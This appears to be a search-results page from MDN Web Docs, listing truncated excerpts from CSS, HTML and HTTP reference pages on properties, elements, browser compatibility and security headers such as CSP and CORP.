web designer. Avoid using them for font sizes if you wish to create an inclusive design. Ems Another way of setting the font size is with em values. The size of an em value is dynamic. When defining the font-size property, an em is equal to the font size of the element on which the em is used. If you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px...
font-variant-caps - CSS: Cascading Style Sheets
tion of 'font-variant-caps' in that specification. Candidate Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...d Disabled From version 24 until version 34 (exclusive): this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). ...
font-variant-position - CSS: Cascading Style Sheets
of 'font-variant-position' in that specification. Candidate Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...led Disabled From version 24 until version 34 (exclusive): this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). ...
<image> - CSS: Cascading Style Sheets
A selection of images chosed based on resolution defined by the image-set() function. ...
...'s overall purpose, it is better to describe it semantically in the document. ...
initial - CSS: Cascading Style Sheets
The definition of 'initial' in that specification. Candidate Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 19 Full support 19 No support 1 -- 24Prefixed Prefixed Implemented with the vendor prefix: -moz-IE No support NoOpera Full support 15Safari Full support 1.2
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 19 Full support 19 No support 4 -- 24Prefixed Prefixed Implemented with the vendor prefix: -moz-Opera Androi...
<integer> - CSS: Cascading Style Sheets
evel 1The definition of '<integer>' in that specification. Recommendation Implicit definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...nteger>Chrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 3Opera Full support 3.5Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
object-fit - CSS: Cascading Style Sheets
e definition of 'object-fit' in that specification. Candidate Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetobject-fitChrome Full support 31Edge Full support 16Notes Full support 16Notes Notes Edge supports object-fit on img elements only. See Edge issue 13603873 for details.Firefox ...
... 36IE No support NoOpera Full support 19 Full support 19 Full support 11.6Prefixed Prefixed Implemented with the vendor prefix: -o-Safari Full support 10
WebView Android Full support 4.4.3Chrome Android Full support 31Firefox Android Full support 36Opera Android Full support 19 Full support 19 Full support ...
opacity - CSS: Cascading Style Sheets
opacity is adjusted, it is important to ensure that the contrast ratio between the color of the text and the background the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page. Color contrast ratio is determined by comparing the luminosity of the opacity-adjusted text and background color values. ...
...ill be able to read the content of the page. Color contrast ratio is determined by comparing the luminosity of the opacity-adjusted text and background color values. In order to meet current
Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger. ...
orphans - CSS: Cascading Style Sheets
vision 1)The definition of 'orphans' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...phansChrome Full support 25Edge Full support 12Firefox No support NoIE Full support 8Opera Full support 9.2Safari Full support 1.3
WebView Android Full support <=37Chrome Android Full support 25Firefox Android No support NoOpera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
outline-offset - CSS: Cascading Style Sheets
el 3The definition of 'outline-offset' in that specification. Recommendation Initial definition Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...fsetChrome Full support 1Edge Full support 15Firefox Full support 1.5IE No support NoOpera Full support 9.5Safari Full support 1.2
WebView Android Full support 37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
Guide to scroll anchoring - CSS: Cascading Style Sheets
You browse to a long page on a slow connection and begin to scroll to read the content; while you are busy reading, the part of the page you are looking at suddenly jumps. This has happened because large images or some other elements have just loaded further up in the content. Scroll anchoring is a browser feature that aims to solve this problem of content jumping, which happens if content loads in after the user has already scrolled to a new part of the document. How does it work? Scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport. ...
...margin or padding Any width or height-related properties transform Additionally, position changes anywhere inside the scrolling box also disable scroll anchoring. In bug 1584285 the layout.css.scroll-anchoring.suppressions.enabled flag was added to Firefox Nightly in order to allow the disabling of these triggers Further reading Explainer document on the WICG site Scroll anchoring for
web developers on the Chromium blog Implement a pin-to-bottom scrolling element using scroll anchoring ...
page-break-after - CSS: Cascading Style Sheets
1)The definition of 'page-break-after' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 12Firefox Full support 1Notes Full support 1Notes Notes The values avoid, left, and right are unsupported.IE Full support 4Opera Full support 7Safari Full support 1.2
WebView Android Full support 37Chrome Android Full support 18Firefox Android Full support 4Notes Full support 4Notes Notes The values avoid, left, and right are unsupported.Opera Android Full support ...
page-break-before - CSS: Cascading Style Sheets
)The definition of 'page-break-before' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 12Firefox Full support 1Notes Full support 1Notes Notes The values avoid, left, and right are unsupported.IE Full support 4Opera Full support 7Safari Full support 1.2
WebView Android Full support 37Chrome Android Full support 18Firefox Android Full support 4Notes Full support 4Notes Notes The values avoid, left, and right are unsupported.Opera Android Full support ...
paint() - CSS: Cascading Style Sheets
el 1The definition of 'Paint Notation' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...netpaint()Chrome Full support 65Edge Full support 79Firefox No support NoIE No support NoOpera Full support 52Safari No support No
WebView Android Full support 65Chrome Android Full support 65Firefox Android No support NoOpera Android Full support 47Safari iOS No support NoSamsung Internet Android ...
right - CSS: Cascading Style Sheets
(Revision 1)The definition of 'right' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...etrightChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 5.5Opera Full support 5Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
text-rendering - CSS: Cascading Style Sheets
peed, legibility, and geometric precision. /* Keyword values */ text-rendering: auto; text-rendering: optimizeSpeed; text-rendering: optimizeLegibility; text-rendering: geometricPrecision; /* Global values */ text-rendering: inherit; text-rendering: initial; text-rendering: unset; Note: The text-rendering property is an SVG property that is not defined in any CSS standard. However, Gecko and
WebKit browsers let you apply this property to HTML and XML content on Windows, macOS, and Linux. One very visible effect is optimizeLegibility, which enables ligatures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for example, Microsoft's Calibri, Candara, Constantia, and Corbel, or the DejaVu font family). Syntax Values auto The browser makes educated guesses about when to op...
...e font size to 12 instead. This results in stair-step scaling of text. But the geometricPrecision property -- when fully supported by the rendering engine -- lets you scale your text fluidly. For large scale factors, you might see less-than-beautiful text rendering, but the size is what you would expect--neither rounded up nor down to the nearest font size supported by Windows or Linux. Note:
WebKit precisely applies the specified value, but Gecko treats the value the same as optimizeLegibility. Formal definition Initial valueautoApplies totext elementsInheritedyesComputed valueas specifiedAnimation typediscrete Formal syntax auto | optimizeSpeed | optimizeLegibility | geometricPrecision Examples Automatic application of optimizeLegibility This demonstrates how optimizeLegibilit...
url() - CSS: Cascading Style Sheets
, transparent); /* as part of a non-shorthand multiple value */ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ... } @import url("https://www.example.com/style.css"); @namespace url(http://www.w3.org/1999/xhtml); Relative URLs, if used, are relative to the URL of the stylesheet (not to the URL of the
web page). The url() function can be included as a value for background, background-image, list-style, list-style-image, content, cursor, border, border-image, border-image-source, mask, mask-image, src as part of a @font-face block, and @counter-style/symbol In CSS Level 1, the url() functional notation described only true URLs. In CSS Level 2, the definition of url() was extended to describe any ...
...er-style/symbol In CSS Level 1, the url() functional notation described only true URLs. In CSS Level 2, the definition of url() was extended to describe any URI, including URNs. CSS Values and Units Level 3 returned to the narrower, initial definition. Now, url() denotes only true <url>s. Syntax Values <string> <url> A url, which is a relative or absolute address, or pointer, to the
web resource to be included, or a data uri, optionally in single or double quotes. Quotes are required if the URL includes parentheses, whitespace, or quotes, unless these characters are escaped, or if the address includes control characters above 0x7e. Double quotes cannot occur inside double quotes and single quotes cannot occur inside single quotes unless escaped. The following are all valid and e...
writing-mode - CSS: Cascading Style Sheets
> </table> CSS Some preparatory CSS just to make things look a little better: table { border-collapse:collapse; } td, th { border: 1px black solid; padding: 3px; } th { background-color: lightgray; } .example { height:75px; width:75px; } The CSS that adjusts the directionality of the content looks like this: .example.Text1 span, .example.Text1 { writing-mode: horizontal-tb; -
webkit-writing-mode: horizontal-tb; -ms-writing-mode: horizontal-tb; } .example.Text2 span, .example.Text2 { writing-mode: vertical-lr; -
webkit-writing-mode: vertical-lr; -ms-writing-mode: vertical-lr; } .example.Text3 span, .example.Text3 { writing-mode: vertical-rl; -
webkit-writing-mode: vertical-rl; -ms-writing-mode: vertical-rl; } .example.Text4 span, .example.Text4 { writing-m...
...izontal-tb; -ms-writing-mode: horizontal-tb; } .example.Text2 span, .example.Text2 { writing-mode: vertical-lr; -
webkit-writing-mode: vertical-lr; -ms-writing-mode: vertical-lr; } .example.Text3 span, .example.Text3 { writing-mode: vertical-rl; -
webkit-writing-mode: vertical-rl; -ms-writing-mode: vertical-rl; } .example.Text4 span, .example.Text4 { writing-mode: sideways-lr; -
webkit-writing-mode: sideways-lr; -ms-writing-mode: sideways-lr; } .example.Text5 span, .example.Text5 { writing-mode: sideways-rl; -
webkit-writing-mode: sideways-rl; -ms-writing-mode: sideways-rl; } Result This image shows what the output should look like, in case your browser's support for writing-mode is incomplete: Specifications Specification Status Comment ...
DOM onevent handlers - Developer guides
Two common approaches are addEventListener() and the specific onevent handlers. This page focuses on how the latter work. Registering onevent handlers The onevent handlers are properties on certain DOM elements to manage how that element reacts to events. Elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element). Events are actions like: Being clicked Detecting pressed keys Getting focus The onevent handler is usually named with the event it reacts to, like onclick, onkeypress, onfocus, etc. ...
...of event; for details, see "The event handler processing algorithm" in the HTML specification. When the event handler is invoked TBD (non-capturing listener) Terminology The term event handler may refer to: Any function or object that is registered to be notified of events Or more specifically, to the mechanism of registering event listeners via on... attributes in HTML or properties in
Web APIs, such as <button onclick="alert(this)"> or window.onload = function() { ... }. When discussing the various methods of listening to events: Event listener refers to a function or object registered via EventTarget.addEventListener() Event handler refers to a function registered via on... attributes or properties Specifications Specification Status Comment H...
Mouse gesture events - Developer guides
There may also be large incompatibilities between implementations and the behavior may change in the future. Gecko 1.9.1 added support for several Mozilla-specific DOM events used to handle mouse gestures. These are special movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks. Note: These gesture events are available to add-ons and other browser chrome code, but are never sent to regular
web page content. ...
...n implementations and the behavior may change in the future. Gecko 1.9.1 added support for several Mozilla-specific DOM events used to handle mouse gestures. These are special movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks. Note: These gesture events are available to add-ons and other browser chrome code, but are never sent to regular
web page content. Note: Some operating systems, including Mac OS X and Windows 7, provide default actions when gesture events occur. If you handle a gesture event and wish to prevent the default action from taking place as well, be sure to call the event's preventDefault() method. Types of gesture events MozSwipeGesture The MozSwipeGesture event is sent when the user uses three fingers to "swipe" t...
Making content editable - Developer guides
This article provides some information about this functionality. Note: In Firefox 63 Beta/Dev edition, some of the rich-text editing features have been disabled by default, for better cross-browser compatibility. These are object resizing on <img>, <table>, and absolutely-positioned elements; inline table editing to add or remove rows and columns; and the grabber that allows moving of absolutely-positioned elements. See bug 1449564 and Firefox-specific HTML editing UI has been deprecated for additional details. ...
...use a different paragraph separator, the above browsers all support document.execCommand, which provides a defaultParagraphSeparator command to allow you to change it. For example, to use <p> elements: document.execCommand("defaultParagraphSeparator", false, "p"); Additionally, Firefox supports the non-standard argument, br, for defaultParagraphSeparator since Firefox 55. This is useful if your
web application expects the older Firefox behavior, and you don't want to or don't have the time to update it to use the new behavior. You can use the older Firefox behavior with this line: document.execCommand("defaultParagraphSeparator", false, "br"); Security For security reasons, Firefox doesn't let JavaScript code use clipboard related features (copy, paste, etc.) by default. You can enable t...
Optimization and performance - Developer guides
Making
web performance a priority by considering
web performance throughout the development process is important in ensuring users get the best user experience possible. There are no subpages at this time. ...
... When building modern
Web apps and sites, it's important to make your content perform well. That is, to make it work quickly and efficiently. This lets it work effectively both for users of powerful desktop systems as well as for handheld devices with less power. There are several tools available to check the performance of a
website or blog. The most notable tools are listed below. Google PageSpeed Insights Lighthouse
WebPageTest Browser developer tools The above resources also include
web performance best practices. Making
web performance a priority by considering
web performance throughout the development process is important in ensuring users get the best user experience possible. There are no subpages at this time. ...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
The source of the suggested values is generally up to the browser; typically values come from past values entered by the user, but they may also come from pre-configured values. ...
...ge. For the phone number "555-6502", use "tel-local-prefix" for "555" and "tel-local-suffix" for "6502". "tel-extension" A telephone extension code within the phone number, such as a room or suite number in a hotel or an office extension in a company. "impp" A URL for an instant messaging protocol endpoint, such as "xmpp:username@example.net". "url" A URL, such as a home page or company
web site address as appropriate given the context of the other fields in the form. "photo" The URL of an image representing the person, company, or contact information given in the other fields in the form. See the WHATWG Standard for more detailed information. Note: The autocomplete attribute also controls whether Firefox will -- unlike other browsers -- persist the dynamic disabled state and ...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
h3 Jurassic h3 Cretaceous h3 Cenozoic h2 External Morphology h3 Head h4 Mouthparts h3 Thorax h4 Prothorax h4 Pterothorax h3 Legs h3 Wings h3 Abdomen When headings are nested, heading levels may be "skipped" when closing a subsection. ...
...r> In this example, screen reading technology would announce that there are two <nav> sections, one called "Primary navigation" and one called "Footer navigation". If labels were not provided, the person using screen reading software may have to investigate each nav element's contents to determine their purpose. Using the aria-labelledby attribute Labeling Regions o Page Structure o W3C WAI
Web Accessibility Tutorials Specifications Specification Status Comment HTML Living StandardThe definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification. Living Standard HTML5The definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification. Recommendation HTML 4.01 SpecificationThe definition of '<h1>, ...
<address>: The Contact Address element - HTML: Hypertext Markup Language
nt). Typically an <address> element can be placed inside the <footer> element of the current section, if any. Examples This example demonstrates the use of <address> to demarcate the contact information for an article's author. ...
...n be placed inside the <footer> element of the current section, if any. Examples This example demonstrates the use of <address> to demarcate the contact information for an article's author. <address> You can contact author at <a href="http://www.somedomain.com/contact"> www.somedomain.com</a>.<br> If you see any bugs, please <a href="mailto:
webmaster@somedomain.com"> contact
webmaster</a>.<br> You may also want to visit us:<br> Mozilla Foundation<br> 331 E Evelyn Ave<br> Mountain View, CA 94041<br> USA </address> Result Although it renders text with the same default styling as the <i> or <em> elements, it is more appropriate to use <address> when dealing with contact information, as it conveys additional semantic information. Specifications ...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
Content categories Flow content, phrasing content, embedded content, interactive content, palpable content. Permitted content Zero or more <param> elements, then transparent. Tag omission None, both the starting and ending tag are mandatory. ...
... Content categories Flow content, phrasing content, embedded content, interactive content, palpable content. Permitted content Zero or more <param> elements, then transparent. Tag omission None, both the starting and ending tag are mandatory. ...
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
rted and thus implements the HTMLUnknownElement interface. Example <blink>Why would somebody use this?</blink> Result (toned down!) Specification This element is non-standard and not part of any specification. If you don't believe us, see for yourself in the HTML spec. CSS polyfill If you really do need a polyfill, then you can use the following CSS polyfill. Works in IE10+. ...
...andard and not part of any specification. If you don't believe us, see for yourself in the HTML spec. CSS polyfill If you really do need a polyfill, then you can use the following CSS polyfill. Works in IE10+. ...
<button>: The Button element - HTML: Hypertext Markup Language
:-moz-focus-inner { }. If overridden, it is important to ensure that the state change when focus is moved to the button is high enough that people experiencing low vision conditions will be able to perceive it. Color contrast ratio is determined by comparing the luminosity of the button text and background color values compared to the background the button is placed on. ...
...ble to perceive it. Color contrast ratio is determined by comparing the luminosity of the button text and background color values compared to the background the button is placed on. In order to meet current
Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for large text. (Large text is defined as 18.66px and bold or larger, or 24px or larger.)
WebAIM: Color Contrast Checker MDN Understanding WCAG, Guideline 1.4 explanations Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0 Clicking and focus Whether clicking on a <button> causes it to (by default) become focused varies by browser and OS. The results for <input> of type="button" and type="submit" are the same. Does clicking on a <button> give it focus? Deskt...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
Content categories Flow content, phrasing content, embedded content, palpable content. Permitted content Transparent but with no interactive content descendants except for <a> elements, <button> elements, <input> elements whose type attribute is checkbox, radio, or button. Tag omission None, both the starting and ending tag are mandatory. Permitted parents Any element that accepts phrasing content. ...
...canvas'); const ctx = canvas.getContext('2d'); ctx.fillStyle = 'green'; ctx.fillRect(10, 10, 100, 100); Result Accessibility concerns Alternative content The <canvas> element on its own is just a bitmap and does not provide information about any drawn objects. Canvas content is not exposed to accessibility tools as semantic HTML is. In general, you should avoid using canvas in an accessible
website or app. The following guides can help to make it more accessible. MDN Hit regions and accessability Canvas accessibility use cases Canvas element accessibility issues HTML5 Canvas Accessibility in Firefox 13 - by Steve Faulkner Best practices for interactive canvas elements Specifications Specification Status Comment HTML Living StandardThe definition of ...
<cite>: The Citation element - HTML: Hypertext Markup Language
It's worth noting that the W3C specification says that a reference to a creative work, as included within a <cite> element, may include the name of the work's author. However, the WHATWG specification for <cite> says the opposite: that a person's name must nev...
... It's worth noting that the W3C specification says that a reference to a creative work, as included within a <cite> element, may include the name of the work's author. However, the WHATWG specification for <cite> says the opposite: that a person's name must never be includ...
<details>: The Details disclosure element - HTML: Hypertext Markup Language
roaches for a while. The <summary> element supports the list-style shorthand property and its longhand properties, such as list-style-type, to change the disclosure triangle to whatever you choose (usually with list-style-image). For example, we can remove the disclosure widget icon by setting list-style: none. ...
... so we also need to use its non-standard ::-
webkit-details-marker pseudo-element to customize the appearance in that browser. CSS details { font: 16px "Open Sans", Calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em; background-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; list-style: none; } details > summary::-
webkit-details-marker { display: none; } details > p { border-radius: 0 0 10px 10px; background-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } This CSS creates a look similar to a tabbed interface, where activating the tab expands and opens it to reveal its contents. HTML <details> <summary>System Requirements</summary> <p>Requires a computer running a...
<dl>: The Description List element - HTML: Hypertext Markup Language
s Any element that accepts flow content. Implicit ARIA role No corresponding role Permitted ARIA roles group, list, none, presentation DOM interface HTMLDListElement Attributes This element only includes the global attributes. Examples Single term and description <dl> <dt>Firefox</dt> <dd> A free, open source, cross-platform, graphical
web browser developed by the Mozilla Corporation and hundreds of volunteers. </dd> <!-- Other terms and descriptions --> </dl> Multiple terms, single description <dl> <dt>Firefox</dt> <dt>Mozilla Firefox</dt> <dt>Fx</dt> <dd> A free, open source, cross-platform, graphical
web browser developed by the Mozilla Corporation and hundreds of volunteers. </dd> ...
... </dd> <dd> The Red Panda also known as the Lesser Panda, Wah, Bear Cat or Firefox, is a mostly herbivorous mammal, slightly larger than a domestic cat (60 cm long). ...
<frame> - HTML: Hypertext Markup Language
en when it is not necessary and "no" for forcing no scrollbar even when it is necessary. ...
... necessary. marginheight This attribute defines the height of the margin between frames. ...
<input type="radio"> - HTML: Hypertext Markup Language
There's not much new to note here except for the addition of <fieldset> and <legend> elements, which help to group the functionality nicely and in a semantic way. ...
... effect across different browsers, and some do not support it at all. The differences are smaller in the newest browsers. Notice that when clicking on a radio button, there's a nice, smooth fade out/in effect as the two buttons change state. In addition, the style and coloring of the legend and submit button are customized to have strong contrast. This might not be a look you'd want in a real
web application, but it definitely shows off the possibilities. Specifications Specification Status HTML Living StandardThe definition of '<input type="radio">' in that specification. Living Standard HTML5The definition of '<input type="radio">' in that specification. Recommendation ...
<input type="tel"> - HTML: Hypertext Markup Language
: This has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. To see the status of the change being implemented in Firefox, see bug 1490661. Permitted values are: go, done, next, search, and send. The browser decides, using this hint, what label to put on the enter key. Using tel inputs Telephone numbers are a very commonly collected type of data on the
web. When creating any kind of registration or e-commerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes. Given how commonly-entered phone numbers are, it's unfortunate that a "one size fits all" solution for validating phone numbers is not practical. Fortunately, you can consider the requirements of you...
...ement an appropriate level of validation yourself. See Validation, below, for details. Custom keyboards One of the main advantages of <input type="tel"> is that it causes mobile browsers to display a special keyboard for entering phone numbers. For example, here's what the keypads look like on a couple of devices. Examples of custom keyboards on mobile devices. Firefox for Android
WebKit iOS (Safari/Chrome/Firefox) A simple tel input In its most basic form, a tel input can be implemented like this: <label for="telNo">Phone number:</label> <input id="telNo" name="telNo" type="tel"> There is nothing magical going on here. When submitted to the server, the above input's data would be represented as, for example, telNo=+12125553151. Placeholders Som...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
, the policy applies to the favicon. If you encounter problems with the favicon not loading, verify that the Content-Security-Policy header's img-src directive is not preventing access to it. The HTML and XHTML specifications define event handlers for the <link> element, but it is unclear how they would be used. Under XHTML 1.0, empty elements such as <link> require a trailing slash: <link />.
WebTV supports the use of the value next for rel to preload the next page in a document series. Attributes This element includes the global attributes. as This attribute is only used when rel="preload" or rel="prefetch" has been set on the <link> element. It specifies the type of content being loaded by the <link>, which is necessary for request matching, application of correct content securit...
...heet. Incorrectly using it may cause the stylesheet to be ignored. type This attribute is used to define the type of the content linked to. The value of the attribute should be a MIME type such as text/html, text/css, and so on. The common use of this attribute is to define the type of stylesheet being referenced (such as text/css), but given that CSS is the only stylesheet language used on the
web, not only is it possible to omit the type attribute, but is actually now recommended practice. It is also used on rel="preload" link types, to make sure the browser only downloads file types that it supports. Non-standard attributes methods The value of this attribute provides information about the functions that might be performed on an object. The values generally are given by the HTTP ...
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
This element has the distinction of being the first element to become one of the "Lost Tags" by being eliminated from the official public DTD's of the HTML versions. It is also probably one of the least understood of all of the early HTML elements. HTML "0.a" - from the beginning through January 10, 1991 This tag had not been invented as yet, so no examples are found from this period. ...
...="z4">FIRST SECTION NAME</A></H2>. This continues for the next three sections, z5, z6, and z7 (and Table of Contents entries named z1, z2, and z3), each automatically given anchors with these names. The user then saves and closes the document. NeXT would then add, within the header of the HTML document, a special tag, <NEXTID N="z8">, to inform where to continue its naming convention. Imagine the
web author opens the document for further editing. They want to add a couple new sections after the second section, appending four more sections at the end. When opening the document, the NeXT editor finds and reads this <NEXTID N="z8"> tag, and now knows to give the first of these new sections the name of z8 in the Table of Contents, and z14 to the content body. This might look like this: <HTML> ...
<picture>: The Picture element - HTML: Hypertext Markup Language
Living Standard Initial definition ...
... 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2x"> <img src="logo-320.png" alt="logo"> </picture> The type attribute The type attribute specifies a MIME type for the resource URL(s) in the <source> element's srcset attribute. If the user agent does not support the given type, the <source> element is skipped. <picture> <source srcset="logo.
webp" type="image/
webp"> <img src="logo.png" alt="logo"> </picture> Specifications Specification Status Comment HTML Living StandardThe definition of '<picture>' in that specification. Living Standard Initial definition ...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
ibutes. Usage notes You can use a CSS rule to override the browser's default font face for the <samp> element; however, it's possible that the browser's preferences may take precedence over any CSS you specify. The CSS to override the default font face would look like this: samp { font-family: "Courier"; } If you need an element which will serve as a container for output generated by your
website or app's JavaScript code, you should instead use the <output> element. Examples Basic example In this simple example, a paragraph includes an example of the output of a program. <p>When the process is complete, the utility will output the text <samp>Scan complete. Found <em>N</em> results.</samp> You can then proceed to the next step.</p> The resulting output looks like this: Sample ...
...m> results.</samp> You can then proceed to the next step.</p> The resulting output looks like this: Sample output including user input You can nest the <kbd> element within a <samp> block to present an example that includes text entered by the user. For example, consider this text presenting a transcript of a Linux (or macOS) console session: HTML <pre> <samp><span class="prompt">mike@inter
webz:~$</span> <kbd>md5 -s "Hello world"</kbd> MD5 ("Hello world") = 3e25960a79dbc69b674cd4ec67a72c62 <span class="prompt">mike@inter
webz:~$</span> <span class="cursor">?</span></samp></pre> Note the use of <span> to allow customization of the appearance of specific portions of the sample text such as the shell prompts and the cursor. Note also the use of <kbd> to represent the command the user ent...
<spacer> - HTML: Hypertext Markup Language
However, <spacer> no longer supported by any major browser and the same effects can now be achieved using simple CSS. Firefox, which is the descendant of Netscape's browsers, removed support for <spacer> in version 4. ...
...However, <spacer> no longer supported by any major browser and the same effects can now be achieved using simple CSS. Firefox, which is the descendant of Netscape's browsers, removed support for <spacer> in version 4. ...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Link types: manifest - HTML: Hypertext Markup Language
The manifest keyword for the rel attribute of the <link> element indicates that the target resource is a
Web app manifest. ...
... The manifest keyword for the rel attribute of the <link> element indicates that the target resource is a
Web app manifest. ...
Cross-Origin Resource Policy (CORP) - HTTP
CORP is an additional layer of protection beyond the default same-origin policy. Cross-Origin Resource Policy complements Cross-Origin Read Blocking (CORB), which is a mechanism to prevent some cross-origin reads by default. ...
...tion anyway. Cross-Origin Resource Policy is an opt-in response header which can protect any resource; there is no need for browsers to sniff MIME types. Usage Note: Due to a bug in Chrome, setting Cross-Origin-Resource-Policy can break PDF rendering, preventing visitors from being able to read past the first page of some PDFs. Exercise caution using this header in a production environment.
Web applications set a Cross-Origin Resource Policy via the Cross-Origin-Resource-Policy HTTP response header, which accepts one of three values: same-site Only requests from the same Site can read the resource. Warning: This is less secure than an origin. The algorithm for checking if two origins are same site is defined in the HTML standard and involves checking the registrable domain. ...
Content-Disposition - HTTP
In a multipart/form-data body, the HTTP Content-Disposition general header is a header that can be used on the subpart of a multipart body to give information about the field it applies to. The subpart is delimited by the boundary defined in the Content-Type header. Used on the body itself, Content-Disposition has no effect. ...
...s the optional directive name and filename, can be used in the HTTP context. Header type Response header (for the main body) General header (for a subpart of a multipart body) Forbidden header name no Syntax As a response header for the main body The first parameter in the HTTP context is either inline (default value, indicating it can be displayed inside the
Web page, or as the
Web page) or attachment (indicating it should be downloaded; most browsers presenting a 'Save as' dialog, prefilled with the value of the filename parameters if present). Content-Disposition: inline Content-Disposition: attachment Content-Disposition: attachment; filename="filename.jpg" As a header for a multipart body The first parameter in the HTTP context is always form-data...
Content-Security-Policy-Report-Only - HTTP
These violation reports consist of JSON documents sent via an HTTP POST request to the specified URI. For more information, see also this article on Content Security Policy (CSP). Header type Response header Forbidden header name no This header is not supported inside a <meta> element. Syntax Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive> Directives The directives of the Content-Security-Policy header can also be applied to Content-Security-Policy-Report-Only. ...
...icy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports The HTML of signup.html looks like this: <!DOCTYPE html> <html> <head> <title>Sign Up</title> <link rel="stylesheet" href="css/style.css"> </head> <body> ... Content ... </body> </html> Can you spot the violation? Stylesheets are only allowed to be loaded from cdn.example.com, yet the
website tries to load one from its own origin (http://example.com). A browser capable of enforcing CSP will send the following violation report as a POST request to http://example.com/_/csp-reports, when the document is visited: { "csp-report": { "document-uri": "http://example.com/signup.html", "referrer": "", "blocked-uri": "http://example.com/css/style.css", "violated-directive"...
Feature-Policy: publickey-credentials-get - HTTP
When this policy is enabled, any attempt to query public key credentials will result in an error. Syntax Feature-Policy: publickey-credentials-get <allowlist>; <allowlist> An allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: The feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. ...
...ed browsing contexts (iframes) in the same origin. The feature is not allowed in cross-origin documents in nested browsing contexts. 'none': The feature is disabled in top-level and nested browsing contexts. Default policy The default allowlist is 'self'. Specifications Specification Status Comment Feature Policy Editor's Draft Initial definition.
Web Authentication Level 2 Editor's draft. Definition of publickey-credentials-get directive, default allowlist. ...
Feature-Policy: usb - HTTP
